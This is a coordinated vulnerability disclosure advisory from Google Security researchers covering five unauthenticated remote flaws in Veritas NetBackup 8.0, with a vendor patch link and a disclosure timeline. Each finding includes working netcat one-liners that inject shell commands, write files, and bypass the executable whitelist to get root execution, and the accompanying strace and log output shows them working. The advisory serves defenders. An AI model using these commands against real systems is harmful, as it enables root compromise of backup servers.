Veritas Netbackup 8.0 File Write / Remote Code Execution / Bypass
Posted on 09 May 2017
Veritas Netbackup 8.0 - Multiple Vulnerabilities ------------------------------------------------- Introduction ============ Multiple vulnerabilities were identified in Veritas Netbackup ( https://www.veritas.com/product/backup-and-recovery/netbackup-8). The vulnerabilities were discovered during a black box security assessment and therefore the vulnerability list should not be considered exhaustive. NetBackup 8.0 was assessed by Google Security as a followup to a previous assessment of NetBackup 6.x and 7.x (see http://seclists.org/fulldisclosure/2017/Feb/101). After assessing the security of three generations of this software it unfortunately became clear that the current architecture of NetBackup has several security flaws: - The proprietary protocol used between NB Clients and Servers provides no authentication or encryption. - Parameters passed to executable commands are (partially) processed unfiltered. - Even though a whitelisting for executable paths was added in recent versions of NetBackup, those paths contain over 600 (!) executables - a vulnerability in any of those could be leveraged to compromise a NetBackup system. - All processes related to NetBackup run as root, which increases the risk of compromise (this was already reported in a previous advisory) We highly recommended to put additional layers of security around running NetBackup installations, for example strong firewall policies that only allow legitimate NetBackup systems to interact with each other over the network. Please see the Advisory Veritas released for more information: https://www.veritas.com/content/support/en_US/security/VTS17-004.html Veritas also provides patches for NetBackup 8.0 that should be applied ASAP. Those can be found at the following URL: https://www.veritas.com/support/en_US/article.000126389 Affected Software and Versions ============================== - Veritas Netbackup 8.0 CVE === CVEs have been assigned but are not published yet. Please see this Veritas advisory for the CVE IDs: https://www.veritas.com/content/support/en_US/security/VTS17-004.html Vulnerability Overview ====================== 1. NB8-01: HIGH: Unauthenticated privileged remote command execution via bprd 2. NB8-02: HIGH: Unauthenticated privileged remote command execution via nbbsdtar 3. NB8-03: HIGH: Unauthenticated privileged remote file write 4. NB8-04: HIGH: Unauthenticated privileged remote command execution via whitelist bypass 5. NB8-05: HIGH: Bypass of DNS based security model through pbx_exchange Vulnerability Details ===================== -------------------------------------------------------------------- NB8-01: Unauthenticated privileged remote command execution via bprd -------------------------------------------------------------------- Severity: High The bprd process allows remote privileged remote code execution by sending a special packet leveraging the C_PFI_ROTATION (0x70) command. This command is vulnerable to injecting arbitrary commands. This vulnerability bypasses the directory whitelist implemented in NetBackup 7.x and allows privileged execution of any command. The following command executes a/usr/bin/id>/tmp/meh.txta on the Netbackup server 10.128.0.5: # echo -ne "ack=1 extension=bprd 329199 112 1 2 foo`id>/tmp/meh.txt` bar baz 3 meh " | nc 10.128.0.5 1556 Log file excerpt: 15:27:36.467 [31611.31611] <2> get_string: 329199 112 1 2 foo`id>/tmp/meh.txt` bar baz 3 meh 15:27:36.467 [31611.31611] <2> vnet_check_vxss_server_magic: [vnet_vxss_helper.c:641] VxSS magic=329199, remote_vxss=11 2 15:27:36.467 [31611.31611] <2> vnet_check_vxss_server_magic: [vnet_vxss_helper.c:698] Ignoring VxSS authentication 2 0x 2 15:27:36.467 [31611.31611] <2> process_request: command C_PFI_ROTATION (112) received 15:27:36.467 [31611.31611] <2> process_request: pfi_rotation request = 329199 112 1 2 foo`id>/tmp/meh.txt` bar baz 3 me h Strace excerpt: [pid 31641] execve("/bin/sh", ["sh", "-c", ""/usr/openv/netbackup/bin/admincmd/bppficorr" -rotation -policy 2 -client 1 -fim "foo`id>/tmp/meh.txt`" 2>&1"], [/* 18 vars */]) = 0 Process 31642 attached Process 31643 attached [pid 31643] execve("/bin/id", ["id"], [/* 18 vars */]) = 0 # cat /tmp/meh.txt uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 The validity of API parameters should be ensured by proper filtering of passed parameters. ------------------------------------------------------------------------ NB8-02: Unauthenticated privileged remote command execution via nbbsdtar ------------------------------------------------------------------------ Severity: High The binary nbbsdtar can be leveraged to copy any file to a whitelisted directory. This then allows leveraging the C_REMOTE_EXECUTE (0x46) to execute the copied file. This vulnerability bypasses the directory whitelist implemented in NetBackup 7.x and allows privileged execution of any command. Packing /bin/bash into the tar file /tmp/foo.tar: # echo -ne "ack=1 extension=bprd 329199 94 localhost root 1337 /usr/openv/netbackup/bin/private/nbbsdtar foo -c -f /tmp/foo.tar /bin/bash " | nc 10.128.0.5 1556 Strace output: [pid 32461] execve("/usr/openv/netbackup/bin/private/nbbsdtar", ["foo", "-c", "-f", "/tmp/foo.tar", "/bin/bash"], [/* 19 vars */]) = 0 Unpacking /tmp/foo.tar to the whitelisted directory /usr/openv/netbackup/bin (a/bina can be omitted as /bin/bash was added to the tar with full path): # echo -ne "ack=1 extension=bprd 329199 94 localhost root 1337 /usr/openv/netbackup/bin/private/nbbsdtar foo -x -f /tmp/foo.tar -C /usr/openv/netbackup/ " | nc 10.128.0.5 1556 Strace output: [pid 32486] execve("/usr/openv/netbackup/bin/private/nbbsdtar", ["foo", "-x", "-f", "/tmp/foo.tar", "-C", "/usr/openv/netbackup/"], [/* 19 vars */]) = 0 # ls -l /usr/openv/netbackup/bin/bash -rwxr-xr-x. 1 root root 960472 Dec 6 23:19 /usr/openv/netbackup/bin/bash Execution of any command by running the now whitelisted bash interpreter: # echo -ne "ack=1 extension=bprd 329199 94 localhost root 1337 /usr/openv/netbackup/bin/bash foo -c id>/tmp/moo.txt " | nc 10.128.0.5 1556 Strace excerpt: [pid 32549] execve("/usr/openv/netbackup/bin/bash", ["foo", "-c", "id>/tmp/moo.txt"], [/* 19 vars */]) = 0 Process 32550 attached [pid 32550] execve("/bin/id", ["id"], [/* 19 vars */]) = 0 # cat /tmp/moo.txt uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 Even with the added whitelist, the C_REMOTE_EXECUTE API still provides access to over 600 (!) executable binaries. It is very likely that a number of these binaries can be leveraged to bypass the current security mechanisms and provide high risk attack vectors as shown in the example above. ---------------------------------------------------- NB8-03: Unauthenticated privileged remote file write ---------------------------------------------------- Severity: High The bprd process allows remote privileged write to files by sending a special packet leveraging the C_REMOTE_WRITE (0x71) call. The attacker has full control over file-name and content. The path is limited by a whitelist check that was implemented in NetBackup 7.x. As the C_REMOTE_WRITE function gives an attacker full control over content and filename and also allows aappendinga to existing files, this issue is rated as HIGH. Example: # echo -ne "ack=1 extension=bprd 329199 71 localhost root 29 /usr/openv/netbackup/svbl.txt a 10 helloworld " | nc 10.128.0.5 1556 Strace excerpt: [pid 1027] open("/usr/openv/netbackup/svbl.txt", O_WRONLY|O_CREAT|O_APPEND|O_DSYNC, 0666) = 7 [...] [pid 1027] write(7, "helloworld", 10) = 10 # cat /usr/openv/netbackup/svbl.txt helloworld # ls -l /usr/openv/netbackup/svbl.txt -rw-r--r--. 1 root root 20 Feb 3 15:55 /usr/openv/netbackup/svbl.txt Even though the allowed paths are checked against a whitelist, the API is flexible enough to provide an attacker a useful entry point for further attacks. An API that allows full control over filename and content should not be exposed to the network without authentication. -------------------------------------------------------------------------------- NB8-04: Unauthenticated privileged remote command execution via whitelist bypass -------------------------------------------------------------------------------- Severity: High In NetBackup 7.x, a whitelist was added to provide a layer of security against arbitrary command execution via APIs provided by NetBackup. Functionality like the C_REMOTE_WRITE API are also checked against this whitelist. The caveat here is that this whitelisting caused problems in production use. To counter that, Veritas added a configuration option to add custom paths to the whitelist, as documented here: https://www.veritas.com/support/en_US/article.000100775 Leveraging the vulnerability described in NB8-03, it is possible to add any path to the whitelist, enabling an attacker to (over)write any file in the whitelisted paths. The following attack chain shows an example that grants remote command execution. Add a new whitelist entry to bp.conf: # echo -ne "ack=1 extension=bprd 329199 71 localhost root 28 /usr/openv/netbackup/bp.conf a 48 BPCD_WHITELIST_PATH = /usr/openv/netbackup/bin x0d " | nc 10.128.0.5 1556 Strace excerpt: [pid 1550] open("/usr/openv/netbackup/bp.conf", O_WRONLY|O_CREAT|O_APPEND|O_DSYNC, 0666) = 7 [...] [pid 1550] write(7, "BPCD_WHITELIST_PATH = /usr/openv/netbackup/bin ", 48) = 48 Write to the now whitelisted /usr/openv/netbackup/bin path and overwrite a executable file: # echo -ne "ack=1 extension=bprd 329199 71 localhost root 33 /usr/openv/netbackup/bin/initbprd w 27 /usr/bin/id > /tmp/svbl.txt " | nc 10.128.0.5 1556 Strace excerpt: [pid 1622] open("/usr/openv/netbackup/bin/initbprd", O_WRONLY|O_CREAT|O_TRUNC|O_DSYNC, 0666) = 7 [...] [pid 1622] write(7, "/usr/bin/id > /tmp/svbl.txt", 27) = 27 Execute the overwritten file: # echo -ne "ack=1 extension=bprd 329199 94 localhost root 1337 /usr/openv/netbackup/bin/initbprd foo " | nc 10.128.0.5 1556 Strace excerpt: [pid 1687] execve("/bin/sh", ["/bin/sh", "/usr/openv/netbackup/bin/initbprd"], [/* 19 vars */]) = 0 Process 1688 attached [pid 1688] open("/tmp/svbl.txt", O_WRONLY|O_CREAT|O_TRUNC, 0666) = 3 [pid 1688] execve("/usr/bin/id", ["/usr/bin/id"], [/* 19 vars */]) = 0 # cat /tmp/svbl.txt uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 A possible mitigation for this issue might be to either completely remove the C_REMOTE_WRITE API or at least limit it to a very small number of directories that have no overlap with the C_REMOTE_EXECUTE whitelist and do not contain any sensitive files like the bp.conf. --------------------------------------------------------------- NB8-05: Bypass of DNS based security model through pbx_exchange --------------------------------------------------------------- Severity: High For several API functions and service calls (e.g. bprd), NetBackup checks the source IP of the request and matches it against a list of allowed Clients. In most cases a request is only allowed from - localhost - NetBackup Server known to the local system - NetBackup Client known to the local system It was discovered that the service pbx_exchange, listening on tcp/1556 can be used to bypass this security check. Example: # echo -ne "ack=1 extension=bprd fooa | nc 10.128.0.5 1556 The above command sends the data afooa to the bprd service. The target service is specified by the aextensiona parameter, everything after two new lines is forwarded to the extension service. The previously described vulnerabilities in this report make use of this behaviour. As this functionality allows bypassing the source host based security model it is recommended to change the behaviour of pbx_exchange to forward the original source IP to the target service and modify the security checks to validate against that original source IP. Author ====== The vulnerabilities were discovered by Sven Blumenstein and Xiaoran Wang from Google Security Team. Timeline ======== 2017/02/06 - Security report sent to secure@veritas.com with 90 day disclosure deadline. 2017/03/21 - Questions from Veritas on some issues were answered. 2017/04/20 - Veritas announced an Advisory for customers will be published on 2017/05/07 on veritas.com 2017/05/07 - Advisory published by Veritas: https://www.veritas.com/content/support/en_US/security/VTS17-004.html 2017/05/08 - Public disclosure of this security report.
